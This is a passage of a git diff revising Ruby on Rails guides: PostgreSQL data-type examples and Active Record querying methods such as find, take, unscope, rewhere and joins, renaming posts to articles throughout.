db/migrate/20140207133952_create_documents.rb +create_table :documents do |t| + t.binary 'payload' +end + +# app/models/document.rb +class Document < ActiveRecord::Base +end + +# Usage +data = File.read(Rails.root + "tmp/output.pdf") +Document.create payload: data +``` + +### Array + +* [type definition](http://www.postgresql.org/docs/9.3/static/arrays.html) +* [functions and operators](http://www.postgresql.org/docs/9.3/static/functions-array.html) + +```ruby +# db/migrate/20140207133952_create_books.rb +create_table :books do |t| + t.string 'title' + t.string 'tags', array: true + t.integer 'ratings', array: true +end +add_index :books, :tags, using: 'gin' +add_index :books, :ratings, using: 'gin' + +# app/models/book.rb +class Book < ActiveRecord::Base +end + +# Usage +Book.create title: "Brave New World", + tags: ["fantasy", "fiction"], + ratings: [4, 5] + +## Books for a single tag +Book.where("'fantasy' = ANY (tags)") + +## Books for multiple tags +Book.where("tags @> ARRAY[?]::varchar[]", ["fantasy", "fiction"]) + +## Books with 3 or more ratings +Book.where("array_length(ratings, 1) >= 3") +``` + +### Hstore + +* [type definition](http://www.postgresql.org/docs/9.3/static/hstore.html) + +NOTE: you need to enable the `hstore` extension to use hstore. + +```ruby +# db/migrate/20131009135255_create_profiles.rb +ActiveRecord::Schema.define do + enable_extension 'hstore' unless extension_enabled?('hstore') + create_table :profiles do |t| + t.hstore 'settings' + end +end + +# app/models/profile.rb +class Profile < ActiveRecord::Base +end + +# Usage +Profile.create(settings: { "color" => "blue", "resolution" => "800x600" }) + +profile = Profile.first +profile.settings # => {"color"=>"blue", "resolution"=>"800x600"} + +profile.settings = {"color" => "yellow", "resolution" => "1280x1024"} +profile.save! +``` + +### JSON + +* [type definition](http://www.postgresql.org/docs/9.3/static/datatype-json.html) +* [functions and operators](http://www.postgresql.org/docs/9.3/static/functions-json.html) + +```ruby +# db/migrate/20131220144913_create_events.rb +create_table :events do |t| + t.json 'payload' +end + +# app/models/event.rb +class Event < ActiveRecord::Base +end + +# Usage +Event.create(payload: { kind: "user_renamed", change: ["jack", "john"]}) + +event = Event.first +event.payload # => {"kind"=>"user_renamed", "change"=>["jack", "john"]} + +## Query based on JSON document +# The -> operator returns the original JSON type (which might be an object), whereas ->> returns text +Event.where("payload->>'kind' = ?", "user_renamed") +``` + +### Range Types + +* [type definition](http://www.postgresql.org/docs/9.3/static/rangetypes.html) +* [functions and operators](http://www.postgresql.org/docs/9.3/static/functions-range.html) + +This type is mapped to Ruby [`Range`](http://www.ruby-doc.org/core-2.1.1/Range.html) objects. + +```ruby +# db/migrate/20130923065404_create_events.rb +create_table :events do |t| + t.daterange 'duration' +end + +# app/models/event.rb +class Event < ActiveRecord::Base +end + +# Usage +Event.create(duration: Date.new(2014, 2, 11)..Date.new(2014, 2, 12)) + +event = Event.first +event.duration # => Tue, 11 Feb 2014...Thu, 13 Feb 2014 + +## All Events on a given date +Event.where("duration @> ?::date", Date.new(2014, 2, 12)) + +## Working with range bounds +event = Event. + select("lower(duration) AS starts_at"). + select("upper(duration) AS ends_at").first + +event.starts_at # => Tue, 11 Feb 2014 +event.ends_at # => Thu, 13 Feb 2014 +``` + +### Composite Types + +* [type definition](http://www.postgresql.org/docs/9.3/static/rowtypes.html) + +Currently there is no special support for composite types. They are mapped to +normal text columns: + +```sql +CREATE TYPE full_address AS +( + city VARCHAR(90), + street VARCHAR(90) +); +``` + +```ruby +# db/migrate/20140207133952_create_contacts.rb +execute <<-SQL + CREATE TYPE full_address AS + ( + city VARCHAR(90), + street VARCHAR(90) + ); +SQL +create_table :contacts do |t| + t.column :address, :full_address +end + +# app/models/contact.rb +class Contact < ActiveRecord::Base +end + +# Usage +Contact.create address: "(Paris,Champs-Élysées)" +contact = Contact.first +contact.address # => "(Paris,Champs-Élysées)" +contact.address = "(Paris,Rue Basse)" +contact.save! +``` + +### Enumerated Types + +* [type definition](http://www.postgresql.org/docs/9.3/static/datatype-enum.html) + +Currently there is no special support for enumerated types. They are mapped as +normal text columns: + +```ruby +# db/migrate/20131220144913_create_articles.rb +execute <<-SQL + CREATE TYPE article_status AS ENUM ('draft', 'published'); +SQL +create_table :articles do |t| + t.column :status, :article_status +end + +# app/models/article.rb +class Article < ActiveRecord::Base +end + +# Usage +Article.create status: "draft" +article = Article.first +article.status # => "draft" + +article.status = "published" +article.save! +``` + +### UUID + +* [type definition](http://www.postgresql.org/docs/9.3/static/datatype-uuid.html) +* [generator functions](http://www.postgresql.org/docs/9.3/static/uuid-ossp.html) + + +```ruby +# db/migrate/20131220144913_create_revisions.rb +create_table :revisions do |t| + t.column :identifier, :uuid +end + +# app/models/revision.rb +class Revision < ActiveRecord::Base +end + +# Usage +Revision.create identifier: "A0EEBC99-9C0B-4EF8-BB6D-6BB9BD380A11" + +revision = Revision.first +revision.identifier # => "a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11" +``` + +### Bit String Types + +* [type definition](http://www.postgresql.org/docs/9.3/static/datatype-bit.html) +* [functions and operators](http://www.postgresql.org/docs/9.3/static/functions-bitstring.html) + +```ruby +# db/migrate/20131220144913_create_users.rb +create_table :users, force: true do |t| + t.column :settings, "bit(8)" +end + +# app/models/device.rb +class User < ActiveRecord::Base +end + +# Usage +User.create settings: "01010011" +user = User.first +user.settings # => "01010011" +user.settings = "0xAF" +user.settings # => 10101111 +user.save! +``` + +### Network Address Types + +* [type definition](http://www.postgresql.org/docs/9.3/static/datatype-net-types.html) + +The types `inet` and `cidr` are mapped to Ruby +[`IPAddr`](http://www.ruby-doc.org/stdlib-2.1.1/libdoc/ipaddr/rdoc/IPAddr.html) +objects. The `macaddr` type is mapped to normal text. + +```ruby +# db/migrate/20140508144913_create_devices.rb +create_table(:devices, force: true) do |t| + t.inet 'ip' + t.cidr 'network' + t.macaddr 'address' +end + +# app/models/device.rb +class Device < ActiveRecord::Base +end + +# Usage +macbook = Device.create(ip: "192.168.1.12", + network: "192.168.2.0/24", + address: "32:01:16:6d:05:ef") + +macbook.ip +# => #<IPAddr: IPv4:192.168.1.12/255.255.255.255> + +macbook.network +# => #<IPAddr: IPv4:192.168.2.0/255.255.255.0> + +macbook.address +# => "32:01:16:6d:05:ef" +``` + +### Geometric Types + +* [type definition](http://www.postgresql.org/docs/9.3/static/datatype-geometric.html) + +All geometric types, with the exception of `points` are mapped to normal text. +A point is casted to an array containing `x` and `y` coordinates. + + +UUID Primary Keys +----------------- + +NOTE: you need to enable the `uuid-ossp` extension to generate UUIDs. + +```ruby +# db/migrate/20131220144913_create_devices.rb +enable_extension 'uuid-ossp' unless extension_enabled?('uuid-ossp') +create_table :devices, id: :uuid, default: 'uuid_generate_v4()' do |t| + t.string :kind +end + +# app/models/device.rb +class Device < ActiveRecord::Base +end + +# Usage +device = Device.create +device.id # => "814865cd-5a1d-4771-9306-4268f188fe9e" +``` + +Full Text Search +---------------- + +```ruby +# db/migrate/20131220144913_create_documents.rb +create_table :documents do |t| + t.string 'title' + t.string 'body' +end + +execute "CREATE INDEX documents_idx ON documents USING gin(to_tsvector('english', title || ' ' || body));" + +# app/models/document.rb +class Document < ActiveRecord::Base +end + +# Usage +Document.create(title: "Cats and Dogs", body: "are nice!") + +## all documents matching 'cat & dog' +Document.where("to_tsvector('english', title || ' ' || body) @@ to_tsquery(?)", + "cat & dog") +``` + +Database Views +-------------- + +* [view creation](http://www.postgresql.org/docs/9.3/static/sql-createview.html) + +Imagine you need to work with a legacy database containing the following table: + +``` +rails_pg_guide=# \d "TBL_ART" + Table "public.TBL_ART" + Column | Type | Modifiers +------------+-----------------------------+------------------------------------------------------------ + INT_ID | integer | not null default nextval('"TBL_ART_INT_ID_seq"'::regclass) + STR_TITLE | character varying | + STR_STAT | character varying | default 'draft'::character varying + DT_PUBL_AT | timestamp without time zone | + BL_ARCH | boolean | default false +Indexes: + "TBL_ART_pkey" PRIMARY KEY, btree ("INT_ID") +``` + +This table does not follow the Rails conventions at all. +Because simple PostgreSQL views are updateable by default, +we can wrap it as follows: + +```ruby +# db/migrate/20131220144913_create_articles_view.rb +execute <<-SQL +CREATE VIEW articles AS + SELECT "INT_ID" AS id, + "STR_TITLE" AS title, + "STR_STAT" AS status, + "DT_PUBL_AT" AS published_at, + "BL_ARCH" AS archived + FROM "TBL_ART" + WHERE "BL_ARCH" = 'f' + SQL + +# app/models/article.rb +class Article < ActiveRecord::Base + self.primary_key = "id" + def archive! + update_attribute :archived, true + end +end + +# Usage +first = Article.create! title: "Winter is coming", + status: "published", + published_at: 1.year.ago +second = Article.create! title: "Brace yourself", + status: "draft", + published_at: 1.month.ago + +Article.count # => 1 +first.archive! +Article.count # => 2 +``` + +NOTE: This application only cares about non-archived `Articles`. A view also +allows for conditions so we can exclude the archived `Articles` directly. diff --git a/guides/source/active_record_querying.md b/guides/source/active_record_querying.md index 24f98f68ca..e0a9add2be 100644 --- a/guides/source/active_record_querying.md +++ b/guides/source/active_record_querying.md @@ -1,3 +1,5 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + Active Record Query Interface ============================= @@ -9,6 +11,7 @@ After reading this guide, you will know: * How to specify the order, retrieved attributes, grouping, and other properties of the found records. * How to use eager loading to reduce the number of database queries needed for data retrieval. * How to use dynamic finders methods. +* How to use method chaining to use multiple ActiveRecord methods together. * How to check for the existence of particular records. * How to perform various calculations on Active Record models. * How to run EXPLAIN on relations. @@ -58,6 +61,7 @@ The methods are: * `bind` * `create_with` +* `distinct` * `eager_load` * `extending` * `from` @@ -90,11 +94,11 @@ The primary operation of `Model.find(options)` can be summarized as: ### Retrieving a Single Object -Active Record provides five different ways of retrieving a single object. +Active Record provides several different ways of retrieving a single object. -#### Using a Primary Key +#### `find` -Using `Model.find(primary_key)`, you can retrieve the object corresponding to the specified _primary key_ that matches any supplied options. For example: +Using the `find` method, you can retrieve the object corresponding to the specified _primary key_ that matches any supplied options. For example: ```ruby # Find the client with primary key (id) 10. @@ -108,119 +112,103 @@ The SQL equivalent of the above is: SELECT * FROM clients WHERE (clients.id = 10) LIMIT 1 ``` -`Model.find(primary_key)` will raise an `ActiveRecord::RecordNotFound` exception if no matching record is found. - -#### `take` +The `find` method will raise an `ActiveRecord::RecordNotFound` exception if no matching record is found. -`Model.take` retrieves a record without any implicit ordering. For example: +You can also use this method to query for multiple objects. Call the `find` method and pass in an array of primary keys. The return will be an array containing all of the matching records for the supplied _primary keys_. For example: ```ruby -client = Client.take -# => #<Client id: 1, first_name: "Lifo"> +# Find the clients with primary keys 1 and 10. +client = Client.find([1, 10]) # Or even Client.find(1, 10) +# => [#<Client id: 1, first_name: "Lifo">, #<Client id: 10, first_name: "Ryan">] ``` The SQL equivalent of the above is: ```sql -SELECT * FROM clients LIMIT 1 +SELECT * FROM clients WHERE (clients.id IN (1,10)) ``` -`Model.take` returns `nil` if no record is found and no exception will be raised. - -TIP: The retrieved record may vary depending on the database engine. +WARNING: The `find` method will raise an `ActiveRecord::RecordNotFound` exception unless a matching record is found for **all** of the supplied primary keys. -#### `first` +#### `take` -`Model.first` finds the first record ordered by the primary key. For example: +The `take` method retrieves a record without any implicit ordering. For example: ```ruby -client = Client.first +client = Client.take # => #<Client id: 1, first_name: "Lifo"> ``` The SQL equivalent of the above is: ```sql -SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1 +SELECT * FROM clients LIMIT 1 ``` -`Model.first` returns `nil` if no matching record is found and no exception will be raised. +The `take` method returns `nil` if no record is found and no exception will be raised. -#### `last` - -`Model.last` finds the last record ordered by the primary key. For example: +You can pass in a numerical argument to the `take` method to return up to that number of results. For example ```ruby -client = Client.last -# => #<Client id: 221, first_name: "Russel"> +client = Client.take(2) +# => [ + #<Client id: 1, first_name: "Lifo">, + #<Client id: 220, first_name: "Sara"> +] ``` The SQL equivalent of the above is: ```sql -SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1 -``` - -`Model.last` returns `nil` if no matching record is found and no exception will be raised. - -#### `find_by` - -`Model.find_by` finds the first record matching some conditions. For example: - -```ruby -Client.find_by first_name: 'Lifo' -# => #<Client id: 1, first_name: "Lifo"> - -Client.find_by first_name: 'Jon' -# => nil +SELECT * FROM clients LIMIT 2 ``` -It is equivalent to writing: +The `take!` method behaves exactly like `take`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found. -```ruby -Client.where(first_name: 'Lifo').take -``` +TIP: The retrieved record may vary depending on the database engine. -#### `take!` +#### `first` -`Model.take!` retrieves a record without any implicit ordering. For example: +The `first` method finds the first record ordered by the primary key. For example: ```ruby -client = Client.take! +client = Client.first # => #<Client id: 1, first_name: "Lifo"> ``` The SQL equivalent of the above is: ```sql -SELECT * FROM clients LIMIT 1 +SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1 ``` -`Model.take!` raises `ActiveRecord::RecordNotFound` if no matching record is found. - -#### `first!` +The `first` method returns `nil` if no matching record is found and no exception will be raised. -`Model.first!` finds the first record ordered by the primary key. For example: +You can pass in a numerical argument to the `first` method to return up to that number of results. For example ```ruby -client = Client.first! -# => #<Client id: 1, first_name: "Lifo"> +client = Client.first(3) +# => [ + #<Client id: 1, first_name: "Lifo">, + #<Client id: 2, first_name: "Fifo">, + #<Client id: 3, first_name: "Filo"> +] ``` The SQL equivalent of the above is: ```sql -SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1 +SELECT * FROM clients ORDER BY clients.id ASC LIMIT 3 ``` -`Model.first!` raises `ActiveRecord::RecordNotFound` if no matching record is found. +The `first!` method behaves exactly like `first`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found. -#### `last!` +#### `last` -`Model.last!` finds the last record ordered by the primary key. For example: +The `last` method finds the last record ordered by the primary key. For example: ```ruby -client = Client.last! +client = Client.last # => #<Client id: 221, first_name: "Russel"> ``` @@ -230,92 +218,56 @@ The SQL equivalent of the above is: SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1 ``` -`Model.last!` raises `ActiveRecord::RecordNotFound` if no matching record is found. - -#### `find_by!` - -`Model.find_by!` finds the first record matching some conditions. It raises `ActiveRecord::RecordNotFound` if no matching record is found. For example: - -```ruby -Client.find_by! first_name: 'Lifo' -# => #<Client id: 1, first_name: "Lifo"> - -Client.find_by! first_name: 'Jon' -# => ActiveRecord::RecordNotFound -``` - -It is equivalent to writing: - -```ruby -Client.where(first_name: 'Lifo').take! -``` - -### Retrieving Multiple Objects +The `last` method returns `nil` if no matching record is found and no exception will be raised. -#### Using Multiple Primary Keys - -`Model.find(array_of_primary_key)` accepts an array of _primary keys_, returning an array containing all of the matching records for the supplied _primary keys_. For example: +You can pass in a numerical argument to the `last` method to return up to that number of results. For example ```ruby -# Find the clients with primary keys 1 and 10. -client = Client.find([1, 10]) # Or even Client.find(1, 10) -# => [#<Client id: 1, first_name: "Lifo">, #<Client id: 10, first_name: "Ryan">] +client = Client.last(3) +# => [ + #<Client id: 219, first_name: "James">, + #<Client id: 220, first_name: "Sara">, + #<Client id: 221, first_name: "Russel"> +] ``` The SQL equivalent of the above is: ```sql -SELECT * FROM clients WHERE (clients.id IN (1,10)) +SELECT * FROM clients ORDER BY clients.id DESC LIMIT 3 ``` -WARNING: `Model.find(array_of_primary_key)` will raise an `ActiveRecord::RecordNotFound` exception unless a matching record is found for **all** of the supplied primary keys. +The `last!` method behaves exactly like `last`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found. -#### take +#### `find_by` -`Model.take(limit)` retrieves the first number of records specified by `limit` without any explicit ordering: +The `find_by` method finds the first record matching some conditions. For example: ```ruby -Client.take(2) -# => [#<Client id: 1, first_name: "Lifo">, - #<Client id: 2, first_name: "Raf">] -``` - -The SQL equivalent of the above is: +Client.find_by first_name: 'Lifo' +# => #<Client id: 1, first_name: "Lifo"> -```sql -SELECT * FROM clients LIMIT 2 +Client.find_by first_name: 'Jon' +# => nil ``` -#### first - -`Model.first(limit)` finds the first number of records specified by `limit` ordered by primary key: +It is equivalent to writing: ```ruby -Client.first(2) -# => [#<Client id: 1, first_name: "Lifo">, - #<Client id: 2, first_name: "Raf">] -``` - -The SQL equivalent of the above is: - -```sql -SELECT * FROM clients LIMIT 2 +Client.where(first_name: 'Lifo').take ``` -#### last - -`Model.last(limit)` finds the number of records specified by `limit` ordered by primary key in descending order: +The `find_by!` method behaves exactly like `find_by`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found. For example: ```ruby -Client.last(2) -# => [#<Client id: 10, first_name: "Ryan">, - #<Client id: 9, first_name: "John">] +Client.find_by! first_name: 'does not exist' +# => ActiveRecord::RecordNotFound ``` -The SQL equivalent of the above is: +This is equivalent to writing: -```sql -SELECT * FROM clients ORDER By id DESC LIMIT 2 +```ruby +Client.where(first_name: 'does not exist').take! ``` ### Retrieving Multiple Objects in Batches @@ -327,7 +279,7 @@ This may appear straightforward: ```ruby # This is very inefficient when the users table has thousands of rows. User.all.each do |user| - NewsLetter.weekly_deliver(user) + NewsMailer.weekly(user).deliver_now end ``` @@ -343,7 +295,15 @@ The `find_each` method retrieves a batch of records and then yields _each_ recor ```ruby User.find_each do |user| - NewsLetter.weekly_deliver(user) + NewsMailer.weekly(user).deliver_now +end +``` + +To add conditions to a `find_each` operation you can chain other Active Record methods such as `where`: + +```ruby +User.where(weekly_subscriber: true).find_each do |user| + NewsMailer.weekly(user).deliver_now end ``` @@ -359,7 +319,7 @@ The `:batch_size` option allows you to specify the number of records to be retri ```ruby User.find_each(batch_size: 5000) do |user| - NewsLetter.weekly_deliver(user) + NewsMailer.weekly(user).deliver_now end ``` @@ -371,7 +331,7 @@ For example, to send newsletters only to users with the primary key starting fro ```ruby User.find_each(start: 2000, batch_size: 5000) do |user| - NewsLetter.weekly_deliver(user) + NewsMailer.weekly(user).deliver_now end ``` @@ -383,16 +343,14 @@ The `find_in_batches` method is similar to `find_each`, since both retrieve batc ```ruby # Give add_invoices an array of 1000 invoices at a time -Invoice.find_in_batches(include: :invoice_lines) do |invoices| +Invoice.find_in_batches do |invoices| export.add_invoices(invoices) end ``` -NOTE: The `:include` option allows you to name associations that should be loaded alongside with the models. - ##### Options for `find_in_batches` -The `find_in_batches` method accepts the same `:batch_size` and `:start` options as `find_each`, as well as most of the options allowed by the regular `find` method, except for `:order` and `:limit`, which are reserved for internal use by `find_in_batches`. +The `find_in_batches` method accepts the same `:batch_size` and `:start` options as `find_each`. Conditions ---------- @@ -435,7 +393,7 @@ to this code: Client.where("orders_count = #{params[:orders]}") ``` -because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database **as-is**. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string. +because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database **as-is**. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out they can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string. TIP: For more information on the dangers of SQL injection, see the [Ruby on Rails Security Guide](security.html#sql-injection). @@ -471,8 +429,8 @@ Client.where('locked' => true) In the case of a belongs_to relationship, an association key can be used to specify the model if an Active Record object is used as the value. This method works with polymorphic relationships as well. ```ruby -Post.where(author: author) -Author.joins(:posts).where(posts: {author: author}) +Article.where(author: author) +Author.joins(:articles).where(articles: { author: author }) ``` NOTE: The values cannot be symbols. For example, you cannot do `Client.where(status: :active)`. @@ -505,19 +463,15 @@ This code will generate SQL like this: SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5)) ``` -### NOT, LIKE, and NOT LIKE Conditions +### NOT Conditions -`NOT`, `LIKE`, and `NOT LIKE` SQL queries can be built by `where.not`, `where.like`, and `where.not_like` respectively. +`NOT` SQL queries can be built by `where.not`. ```ruby -Post.where.not(author: author) - -Author.where.like(name: 'Nari%') - -Developer.where.not_like(name: 'Tenderl%') +Article.where.not(author: author) ``` -In other words, these sort of queries can be generated by calling `where` with no argument, then immediately chain with `not`, `like`, or `not_like` passing `where` conditions. +In other words, this query can be generated by calling `where` with no argument, then immediately chain with `not` passing `where` conditions. Ordering -------- @@ -527,12 +481,18 @@ To retrieve records from the database in a specific order, you can use the `orde For example, if you're getting a set of records and want to order them in ascending order by the `created_at` field in your table: ```ruby +Client.order(:created_at) +# OR Client.order("created_at") ``` You could specify `ASC` or `DESC` as well: ```ruby +Client.order(created_at: :desc) +# OR +Client.order(created_at: :asc) +# OR Client.order("created_at DESC") # OR Client.order("created_at ASC") @@ -541,16 +501,20 @@ Client.order("created_at ASC") Or ordering by multiple fields: ```ruby +Client.order(orders_count: :asc, created_at: :desc) +# OR +Client.order(:orders_count, created_at: :desc) +# OR Client.order("orders_count ASC, created_at DESC") # OR Client.order("orders_count ASC", "created_at DESC") ``` -If you want to call `order` multiple times e.g. in different context, new order will prepend previous one +If you want to call `order` multiple times e.g. in different context, new order will append previous one ```ruby Client.order("orders_count ASC").order("created_at DESC") -# SELECT * FROM clients ORDER BY created_at DESC, orders_count ASC +# SELECT * FROM clients ORDER BY orders_count ASC, created_at DESC ``` Selecting Specific Fields @@ -580,10 +544,10 @@ ActiveModel::MissingAttributeError: missing attribute: <attribute> Where `<attribute>` is the attribute you asked for. The `id` method will not raise the `ActiveRecord::MissingAttributeError`, so just be careful when working with associations because they need the `id` method to function properly. -If you would like to only grab a single record per unique value in a certain field, you can use `uniq`: +If you would like to only grab a single record per unique value in a certain field, you can use `distinct`: ```ruby -Client.select(:name).uniq +Client.select(:name).distinct ``` This would generate SQL like: @@ -595,10 +559,10 @@ SELECT DISTINCT name FROM clients You can also remove the uniqueness constraint: ```ruby -query = Client.select(:name).uniq +query = Client.select(:name).distinct # => Returns unique names -query.uniq(false) +query.distinct(false) # => Returns all names, even if there are duplicates ``` @@ -652,6 +616,23 @@ FROM orders GROUP BY date(created_at) ``` +### Total of grouped items + +To get the total of grouped items on a single query call `count` after the `group`. + +```ruby +Order.group(:status).count +# => { 'awaiting_approval' => 7, 'paid' => 12 } +``` + +The SQL that would be executed would be something like this: + +```sql +SELECT COUNT (*) AS count_all, status AS status +FROM "orders" +GROUP BY status +``` + Having ------ @@ -678,18 +659,37 @@ This will return single order objects for each day, but only those that are orde Overriding Conditions --------------------- -### `except` +### `unscope` -You can specify certain conditions to be excepted by using the `except` method. For example: +You can specify certain conditions to be removed using the `unscope` method. For example: ```ruby -Post.where('id > 10').limit(20).order('id asc').except(:order) +Article.where('id > 10').limit(20).order('id asc').unscope(:order) ``` The SQL that would be executed: ```sql -SELECT * FROM posts WHERE id > 10 LIMIT 20 +SELECT * FROM articles WHERE id > 10 LIMIT 20 + +# Original query without `unscope` +SELECT * FROM articles WHERE id > 10 ORDER BY id asc LIMIT 20 + +``` + +You can also unscope specific `where` clauses. For example: + +```ruby +Article.where(id: 10, trashed: false).unscope(where: :id) +# SELECT "articles".* FROM "articles" WHERE trashed = 0 +``` + +A relation which has used `unscope` will affect any relation it is +merged in to: + +```ruby +Article.order('id asc').merge(Article.unscope(:order)) +# SELECT "articles".* FROM "articles" ``` ### `only` @@ -697,13 +697,17 @@ SELECT * FROM posts WHERE id > 10 LIMIT 20 You can also override conditions using the `only` method. For example: ```ruby -Post.where('id > 10').limit(20).order('id desc').only(:order, :where) +Article.where('id > 10').limit(20).order('id desc').only(:order, :where) ``` The SQL that would be executed: ```sql -SELECT * FROM posts WHERE id > 10 ORDER BY id DESC +SELECT * FROM articles WHERE id > 10 ORDER BY id DESC + +# Original query without `only` +SELECT "articles".* FROM "articles" WHERE (id > 10) ORDER BY id desc LIMIT 20 + ``` ### `reorder` @@ -711,25 +715,25 @@ SELECT * FROM posts WHERE id > 10 ORDER BY id DESC The `reorder` method overrides the default scope order. For example: ```ruby -class Post < ActiveRecord::Base - .. - .. - has_many :comments, order: 'posted_at DESC' +class Article < ActiveRecord::Base + has_many :comments, -> { order('posted_at DESC') } end -Post.find(10).comments.reorder('name') +Article.find(10).comments.reorder('name') ``` The SQL that would be executed: ```sql -SELECT * FROM posts WHERE id = 10 ORDER BY name +SELECT * FROM articles WHERE id = 10 +SELECT * FROM comments WHERE article_id = 10 ORDER BY name ``` In case the `reorder` clause is not used, the SQL executed would be: ```sql -SELECT * FROM posts WHERE id = 10 ORDER BY posted_at DESC +SELECT * FROM articles WHERE id = 10 +SELECT * FROM comments WHERE article_id = 10 ORDER BY posted_at DESC ``` ### `reverse_order` @@ -760,27 +764,53 @@ SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC This method accepts **no** arguments. +### `rewhere` + +The `rewhere` method overrides an existing, named where condition. For example: + +```ruby +Article.where(trashed: true).rewhere(trashed: false) +``` + +The SQL that would be executed: + +```sql +SELECT * FROM articles WHERE `trashed` = 0 +``` + +In case the `rewhere` clause is not used, + +```ruby +Article.where(trashed: true).where(trashed: false) +``` + +the SQL executed would be: + +```sql +SELECT * FROM articles WHERE `trashed` = 1 AND `trashed` = 0 +``` + Null Relation ------------- The `none` method returns a chainable relation with no records. Any subsequent conditions chained to the returned relation will continue generating empty relations. This is useful in scenarios where you need a chainable response to a method or a scope that could return zero results. ```ruby -Post.none # returns an empty Relation and fires no queries. +Article.none # returns an empty Relation and fires no queries. ``` ```ruby -# The visible_posts method below is expected to return a Relation. -@posts = current_user.visible_posts.where(name: params[:name]) +# The visible_articles method below is expected to return a Relation. +@articles = current_user.visible_articles.where(name: params[:name]) -def visible_posts +def visible_articles case role when 'Country Manager' - Post.where(country: country) + Article.where(country: country) when 'Reviewer' - Post.published + Article.published when 'Bad User' - Post.none # => returning [] or nil breaks the caller code in this case + Article.none # => returning [] or nil breaks the caller code in this case end end ``` @@ -905,23 +935,23 @@ SELECT clients.* FROM clients LEFT OUTER JOIN addresses ON addresses.client_id = WARNING: This method only works with `INNER JOIN`. -Active Record lets you use the names of the [associations](association_basics.html) defined on the model as a shortcut for specifying `JOIN` clause for those associations when using the `joins` method. +Active Record lets you use the names of the [associations](association_basics.html) defined on the model as a shortcut for specifying `JOIN` clauses for those associations when using the `joins` method. -For example, consider the following `Category`, `Post`, `Comments` and `Guest` models: +For example, consider the following `Category`, `Article`, `Comment`, `Guest` and `Tag` models: ```ruby class Category < ActiveRecord::Base - has_many :posts + has_many :articles end -class Post < ActiveRecord::Base +class Article < ActiveRecord::Base belongs_to :category has_many :comments has_many :tags end class Comment < ActiveRecord::Base - belongs_to :post + belongs_to :article has_one :guest end @@ -930,7 +960,7 @@ class Guest < ActiveRecord::Base end class Tag < ActiveRecord::Base - belongs_to :post + belongs_to :article end ``` @@ -939,64 +969,64 @@ Now all of the following will produce the expected join queries using `INNER JOI #### Joining a Single Association ```ruby -Category.joins(:posts) +Category.joins(:articles) ``` This produces: ```sql SELECT categories.* FROM categories - INNER JOIN posts ON posts.category_id = categories.id + INNER JOIN articles ON articles.category_id = categories.id ``` -Or, in English: "return a Category object for all categories with posts". Note that you will see duplicate categories if more than one post has the same category. If you want unique categories, you can use `Category.joins(:posts).select("distinct(categories.id)")`. +Or, in English: "return a Category object for all categories with articles". Note that you will see duplicate categories if more than one article has the same category. If you want unique categories, you can use `Category.joins(:articles).uniq`. #### Joining Multiple Associations ```ruby -Post.joins(:category, :comments) +Article.joins(:category, :comments) ``` This produces: ```sql -SELECT posts.* FROM posts - INNER JOIN categories ON posts.category_id = categories.id - INNER JOIN comments ON comments.post_id = posts.id +SELECT articles.* FROM articles + INNER JOIN categories ON articles.category_id = categories.id + INNER JOIN comments ON comments.article_id = articles.id ``` -Or, in English: "return all posts that have a category and at least one comment". Note again that posts with multiple comments will show up multiple times. +Or, in English: "return all articles that have a category and at least one comment". Note again that articles with multiple comments will show up multiple times. #### Joining Nested Associations (Single Level) ```ruby -Post.joins(comments: :guest) +Article.joins(comments: :guest) ``` This produces: ```sql -SELECT posts.* FROM posts - INNER JOIN comments ON comments.post_id = posts.id +SELECT articles.* FROM articles + INNER JOIN comments ON comments.article_id = articles.id INNER JOIN guests ON guests.comment_id = comments.id ``` -Or, in English: "return all posts that have a comment made by a guest." +Or, in English: "return all articles that have a comment made by a guest." #### Joining Nested Associations (Multiple Level) ```ruby -Category.joins(posts: [{comments: :guest}, :tags]) +Category.joins(articles: [{ comments: :guest }, :tags]) ``` This produces: ```sql SELECT categories.* FROM categories - INNER JOIN posts ON posts.category_id = categories.id - INNER JOIN comments ON comments.post_id = posts.id + INNER JOIN articles ON articles.category_id = categories.id + INNER JOIN comments ON comments.article_id = articles.id INNER JOIN guests ON guests.comment_id = comments.id - INNER JOIN tags ON tags.post_id = posts.id + INNER JOIN tags ON tags.article_id = articles.id ``` ### Specifying Conditions on the Joined Tables @@ -1012,7 +1042,7 @@ An alternative and cleaner syntax is to nest the hash conditions: ```ruby time_range = (Time.now.midnight - 1.day)..Time.now.midnight -Client.joins(:orders).where(orders: {created_at: time_range}) +Client.joins(:orders).where(orders: { created_at: time_range }) ``` This will find all clients who have orders that were created yesterday, again using a `BETWEEN` SQL expression. @@ -1065,18 +1095,18 @@ Active Record lets you eager load any number of associations with a single `Mode #### Array of Multiple Associations ```ruby -Post.includes(:category, :comments) +Article.includes(:category, :comments) ``` -This loads all the posts and the associated category and comments for each post. +This loads all the articles and the associated category and comments for each article. #### Nested Associations Hash ```ruby -Category.includes(posts: [{comments: :guest}, :tags]).find(1) +Category.includes(articles: [{ comments: :guest }, :tags]).find(1) ``` -This will find the category with id 1 and eager load all of the associated posts, the associated posts' tags and comments, and every comment's guest association. +This will find the category with id 1 and eager load all of the associated articles, the associated articles' tags and comments, and every comment's guest association. ### Specifying Conditions on Eager Loaded Associations @@ -1085,18 +1115,31 @@ Even though Active Record lets you specify conditions on the eager loaded associ However if you must do this, you may use `where` as you would normally. ```ruby -Post.includes(:comments).where("comments.visible" => true) +Article.includes(:comments).where(comments: { visible: true }) ``` -This would generate a query which contains a `LEFT OUTER JOIN` whereas the 